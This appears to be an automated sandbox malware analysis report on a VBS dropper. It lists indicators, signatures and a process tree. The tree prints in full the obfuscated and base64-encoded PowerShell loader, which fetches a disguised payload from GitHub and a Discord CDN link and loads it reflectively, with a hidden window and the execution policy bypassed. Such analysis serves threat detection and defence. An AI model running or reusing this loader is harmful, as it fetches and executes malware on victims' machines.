Analysis
- max time kernel
119s - max time network
119s - platform
windows7_x64 - resource
win7-20240903-en - resource tags
- submitted
15/10/2024, 04:32
General
- Target asegurar.vbs
- Size 191KB
- Sample241015-e5yzcavelh
- SHA256 4f1460476798ca3fe73354c7cc33dc72c8ebbbd7b557267f69ea4d99b8d6fb90
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20
-
exe.dropper
https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20
Signatures
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegurar.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRwc2hvbWVbNF0rJFBTSG9tRVszMF0rJ1gnKSggKCgnezB9aW1hZ2VVcmwgPSB7MX1odHQnKydwczovL3Jhdy5naXRoJysndWJ1Jysnc2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvJysnWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgezF9O3swfXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQnKyc7ezB9aW1hJysnZ2VCeXRlcyA9IHswfXdlYkNsaWVudC5Eb3dubG9hZERhdGEoezB9aW1hZ2VVcicrJ2wpO3swfWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dCcrJy5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHswfWltYWdlQnl0ZXMpO3swfXN0YXJ0RmxhZyA9IHsxfTw8QkFTRTY0X1NUQVJUPj57MScrJ307ezB9JysnZW5kRmxhZyA9IHsxfTw8QkFTRTY0X0VORD4+ezF9O3swfXN0YXJ0SW5kZXggPSB7MH1pbWFnZVRleHQuSScrJ25kZXhPZih7MH1zdGFydEZsYWcpO3swfWVuZEluZGV4ID0geycrJzB9aW1hZ2VUZXh0LkluZGV4T2YoezB9ZW5kRmxhZyk7ezB9c3RhcnRJbmQnKydleCAtZ2UgMCAtYW5kIHswfWVuZCcrJ0luZGV4IC1ndCB7MH1zdGFydEluZGV4O3swfXN0YXJ0SW5kZXggKz0gezB9c3RhcnRGbGFnLkxlbmd0aDt7MH1iYXNlNjRMZW5ndGggPSB7MH1lbmRJbmRleCAtIHswfXN0YXJ0SW5kZXg7ezB9YmFzZTY0Q29tbWFuZCA9IHswfWltYWdlVGV4dC5TdWJzdHJpJysnbmcoezB9c3RhcnRJbmQnKydleCwgezB9JysnYmFzZTY0TGVuZ3RoKTt7MH1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHswfWJhc2U2NENvbW1hbmQpO3swfWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCh7MH1jb21tYW5kQnl0ZXMpO3swfXZhaU0nKydldGhvZCA9IFtkbmxpYi5JTy4nKydIb21lXS5HZXRNZXRob2QoezF9VkFJezF9KTt7MH12YWlNZXRob2QuSW52b2tlKHswfW51bGwsIEAoezF9JjRkZCcrJzQ2MDJmMzdmYmY4OTU2Nzk4YWMwMWNkMzM0ZWQ2YjU2NDc1MDFkOGZjZGJmMmJjMzRmNjVhYTFiYzg3YWY9bWgmZmIyOTgwNzY9c2kmZjM0ZTkwNzY9eGU/dHh0LicrJzJZUk5JLzY1MDEwMTc3MjMwNzY4NTM5MjEnKycvODI5OTI0NDI5Mzc5NzI4NjkxMS9zdG5lbWhjYXR0YS9tb2MucHBhZHJvY3NpZC5uZGMvLzpzcHR0aHsxfSwgezF9ZGVzYXRpdmFkb3sxfSwgezF9JysnZGVzYXRpdmFkb3sxfSwgezF9ZGVzYXRpdmFkJysnb3sxfSwgezF9QWRkSW5Qcm9jZXNzMzJ7MX0sIHsxfWRlc2F0aXZhZG97MX0sIHsxfWRlc2F0aXZhZG97MX0pKTsnKSAtRiAgW2NIQXJdMzYsW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $pshome[4]+$PSHomE[30]+'X')( (('{0}imageUrl = {1}htt'+'ps://raw.gith'+'ubu'+'sercontent.com/CryptersAndToolsOficial/'+'ZIP/refs/heads/main/DetahNote_V.jpg {1};{0}webClient = New-Object System.Net.WebClient'+';{0}ima'+'geBytes = {0}webClient.DownloadData({0}imageUr'+'l);{0}imageText = [System.Text'+'.Encoding]::UTF8.GetString({0}imageBytes);{0}startFlag = {1}<<BASE64_START>>{1'+'};{0}'+'endFlag = {1}<<BASE64_END>>{1};{0}startIndex = {0}imageText.I'+'ndexOf({0}startFlag);{0}endIndex = {'+'0}imageText.IndexOf({0}endFlag);{0}startInd'+'ex -ge 0 -and {0}end'+'Index -gt {0}startIndex;{0}startIndex += {0}startFlag.Length;{0}base64Length = {0}endIndex - {0}startIndex;{0}base64Command = {0}imageText.Substri'+'ng({0}startInd'+'ex, {0}'+'base64Length);{0}commandBytes = [System.Convert]::FromBase64String({0}base64Command);{0}loadedAssembly = [System.Reflection.Assembly]::Load({0}commandBytes);{0}vaiM'+'ethod = [dnlib.IO.'+'Home].GetMethod({1}VAI{1});{0}vaiMethod.Invoke({0}null, @({1}&4dd'+'4602f37fbf8956798ac01cd334ed6b5647501d8fcdbf2bc34f65aa1bc87af=mh&fb298076=si&f34e9076=xe?txt.'+'2YRNI/6501017723076853921'+'/8299244293797286911/stnemhcatta/moc.ppadrocsid.ndc//:sptth{1}, {1}desativado{1}, {1}'+'desativado{1}, {1}desativad'+'o{1}, {1}AddInProcess32{1}, {1}desativado{1}, {1}desativado{1}));') -F [cHAr]36,[cHAr]39))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
590aee7bdd69b59b.customDestinations-ms
memory/2420-4-0x000007FEF579E000-0x000007FEF579F000-memory.dmp
memory/2420-5-0x000000001B710000-0x000000001B9F2000-memory.dmp
memory/2420-6-0x0000000001F10000-0x0000000001F18000-memory.dmp
memory/2420-12-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp
memory/2420-13-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp
memory/2420-14-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp